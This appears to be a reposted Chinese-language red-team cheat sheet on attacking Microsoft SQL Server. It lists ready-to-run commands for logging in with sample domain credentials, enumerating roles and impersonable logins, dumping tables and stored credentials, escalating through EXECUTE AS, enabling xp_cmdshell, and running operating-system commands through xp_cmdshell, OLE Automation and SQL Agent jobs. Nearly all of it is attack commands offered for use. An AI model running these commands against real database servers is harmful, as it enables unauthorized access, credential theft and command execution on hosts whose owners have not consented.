// 红队渗透 · 2025-06-23

MSSQL渗透命令总结

一、MSSQL 连接与身份验证

  1. 使用 mssqlclient.py 连接 MSSQL(支持 Windows 认证)

    mssqlclient.py -windows-auth -dc-ip <DC_IP> <DOMAIN>/<USERNAME>:'<PASSWORD>'@<TARGET_IP>
    • 示例:
      mssqlclient.py -windows-auth -dc-ip 192.168.212.40 hokkaido-aerospace.com/discovery:'Start123!'@192.168.212.40
    • 说明:通过 Impacket 的 mssqlclient.py 工具连接 MSSQL,支持 Windows 域认证,需提供域名、用户名、密码和目标 IP。
  2. 使用 SQLCMD 连接 MSSQL

    sqlcmd -S <TARGET_IP> -U <DOMAIN>\<USERNAME> -P <PASSWORD>
    • 示例:
      sqlcmd -S 192.168.212.40 -U hokkaido-aerospace.com\discovery -P Start123!
    • 说明:SQLCMD 是 MSSQL 的原生命令行工具,适合本地或远程连接。

二、权限与身份枚举

  1. 检查当前用户

    SELECT SYSTEM_USER
    • 说明:返回当前登录的用户名,用于确认当前身份。
  2. 检查是否为 sysadmin 角色

    SELECT IS_SRVROLEMEMBER('sysadmin')
    • 说明:返回 1 表示当前用户具有 sysadmin 权限,0 表示无此权限。
  3. 枚举可模拟的账户(IMPERSONATE 权限)

    SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
    • 说明:列出当前用户可以模拟(impersonate)的账户,用于后续权限提升。
  4. 枚举所有数据库用户

    SELECT name, principal_id, type_desc FROM sys.database_principals
    • 说明:列出当前数据库中的所有用户及其类型(如 SQL_USER、WINDOWS_USER)。
  5. 枚举服务器角色

    SELECT name FROM sys.server_principals WHERE type_desc = 'SERVER_ROLE'
    • 说明:列出服务器上的所有角色,用于检查高权限角色。
  6. 检查用户映射到的角色

    SELECT dp.name AS UserName, sp.name AS RoleName FROM sys.database_role_members drm JOIN sys.database_principals dp ON drm.member_principal_id = dp.principal_id JOIN sys.database_principals sp ON drm.role_principal_id = sp.principal_id
    • 说明:显示数据库用户与其关联的角色,用于权限分析。

三、数据库与表枚举

  1. 枚举所有数据库

    SELECT name FROM master.dbo.sysdatabases
    • 说明:列出服务器上的所有数据库名称。
  2. 枚举指定数据库中的表

    SELECT * FROM <DATABASE_NAME>.INFORMATION_SCHEMA.TABLES
    • 示例:
      SELECT * FROM hrappdb.INFORMATION_SCHEMA.TABLES
    • 说明:列出指定数据库中的所有表信息,包括表名、类型等。
  3. 枚举表的列信息

    SELECT TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM <DATABASE_NAME>.INFORMATION_SCHEMA.COLUMNS
    • 示例:
      SELECT TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM hrappdb.INFORMATION_SCHEMA.COLUMNS
    • 说明:列出指定数据库中所有表的列名及数据类型,适合寻找敏感数据。
  4. 枚举数据库中的视图

    SELECT * FROM <DATABASE_NAME>.INFORMATION_SCHEMA.VIEWS
    • 说明:列出指定数据库中的所有视图,可能包含敏感逻辑。
  5. 直接查询特定表内容

    SELECT * FROM <DATABASE_NAME>.<SCHEMA_NAME>.<TABLE_NAME>
    • 示例:
      SELECT * FROM hrappdb.dbo.users
    • 说明:直接查询指定表的数据,适合提取敏感信息(如用户凭据)。

四、权限提升与模拟

  1. 模拟其他用户(IMPERSONATE)

    EXECUTE AS LOGIN = '<LOGIN_NAME>'
    • 示例:
      EXECUTE AS LOGIN = 'hrappdb-reader'
    • 说明:将当前会话切换到指定登录账户,需有 IMPERSONATE 权限。
  2. 确认模拟后的身份

    SELECT SYSTEM_USER
    • 说明:确认模拟是否成功,返回当前用户。
  3. 检查模拟用户权限

    SELECT IS_SRVROLEMEMBER('sysadmin')
    • 说明:检查模拟用户是否具有 sysadmin 权限。
  4. 恢复原始身份

    REVERT
    • 说明:从模拟状态恢复到原始用户身份。

五、敏感信息提取

  1. 查询系统认证信息

    SELECT * FROM sysauth
    • 说明:尝试查询 sysauth 表,可能包含认证相关信息(视环境而定)。
  2. 查询存储的凭据

    SELECT name, credential_id, credential_identity, create_date FROM sys.credentials
    • 说明:列出数据库中存储的凭据,可能包含服务账户信息。
  3. 查询链接服务器

    SELECT * FROM sys.servers
    • 说明:列出配置的链接服务器,可能用于横向移动。
  4. 查询敏感配置

    SELECT * FROM sys.configurations
    • 说明:列出数据库的配置信息,可能暴露安全设置(如 xp_cmdshell 是否启用)。

六、命令执行与高级利用

  1. 检查 xp_cmdshell 是否启用

    select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
    • 说明:检查 xp_cmdshell 是否启用,用于后续命令执行。
  2. 启用 xp_cmdshell(需要 sysadmin 权限)

    EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE
    • 说明:启用 xp_cmdshell,允许执行系统命令。
  3. 通过 xp_cmdshell 执行系统命令

    EXEC xp_cmdshell '<COMMAND>'
    • 示例:
      EXEC xp_cmdshell 'whoami'
    • 说明:执行系统命令,输出结果返回到 SQL 客户端。
  4. 使用 OLE 自动化执行命令(替代 xp_cmdshell)

    EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; DECLARE @Object INT; EXEC sp_OACreate 'WScript.Shell', @Object OUTPUT; EXEC sp_OAMethod @Object, 'Run', NULL, 'cmd.exe /c whoami > C:\temp\whoami.txt'
    • 说明:在 xp_cmdshell 被禁用时,使用 OLE 自动化执行命令。
  5. 通过 SQL Agent 执行命令(需要 sysadmin 权限)

    EXEC msdb.dbo.sp_add_job @job_name = 'TestJob'; EXEC msdb.dbo.sp_add_jobstep @job_name = 'TestJob', @step_name = 'RunCmd', @subsystem = 'CMDEXEC', @command = 'whoami'; EXEC msdb.dbo.sp_start_job @job_name = 'TestJob'
    • 说明:通过 SQL Server Agent 创建任务执行系统命令。

七、其他实用命令

  1. 查询服务器版本信息

    SELECT @@VERSION
    • 说明:返回 MSSQL 服务器的版本信息,用于漏洞分析。
  2. 查询当前数据库

    SELECT DB_NAME()
    • 说明:返回当前所在的数据库名称。
  3. 查询主机名

    SELECT HOST_NAME()
    • 说明:返回运行 MSSQL 的主机名,辅助环境分析。
  4. 检查数据库文件位置

    SELECT name, physical_name FROM sys.master_files
    • 说明:列出数据库文件路径,可能用于文件操作或权限分析。

原文 https://blog.csdn.net/2301_79518550/article/details/147653523